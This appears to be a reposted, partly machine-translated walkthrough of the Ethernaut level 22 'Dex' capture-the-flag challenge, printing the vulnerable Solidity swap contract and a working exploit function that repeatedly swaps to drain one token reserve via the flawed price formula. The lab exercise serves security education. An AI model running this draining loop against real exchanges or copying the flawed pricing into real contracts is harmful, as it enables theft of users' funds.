Ethernaut 系列-레벨 22(Dex)
레벨 22(덱스):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
通关要求
token1 또는 token2의 0
要点
DEX의 공개, 유니스왑의 x*y=k
解题思路
价格公式的问题,只要反复交换,就会越来越多
function run(address _runAddress,address _token1,address _token2) external {
uint myToken1Amount;
uint myToken2Amount;
uint dexToken1Amount;
uint dexToken2Amount;
uint currentSwap = 0;
while (true) {
myToken1Amount = IToken(_token1).balanceOf(address(this));
myToken2Amount = IToken(_token2).balanceOf(address(this));
dexToken1Amount = IToken(_token1).balanceOf(_runAddress);
dexToken2Amount = IToken(_token2).balanceOf(_runAddress);
//有一个token抽干就退出
if (dexToken1Amount <= 0 || dexToken2Amount <= 0) {
break;
}
if (myToken1Amount >=myToken2Amount) {
//根据dex的价格公式,如果需要抽干to,只需from个,所以判断下如果比from大,就用from即可
currentSwap = myToken1Amount > dexToken1Amount ? dexToken1Amount : myToken1Amount;
IToken(_token1).approve(_runAddress,currentSwap);
ILevel(_runAddress).swap(_token1, _token2, currentSwap);
} else {
currentSwap = myToken2Amount > dexToken2Amount ? dexToken2Amount : myToken2Amount;
IToken(_token2).approve(_runAddress,currentSwap);
ILevel(_runAddress).swap(_token2, _token1, currentSwap);
}
}
}
Reference
이 문제에 관하여(Ethernaut 系列-레벨 22(Dex)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-22dex-3nhd텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)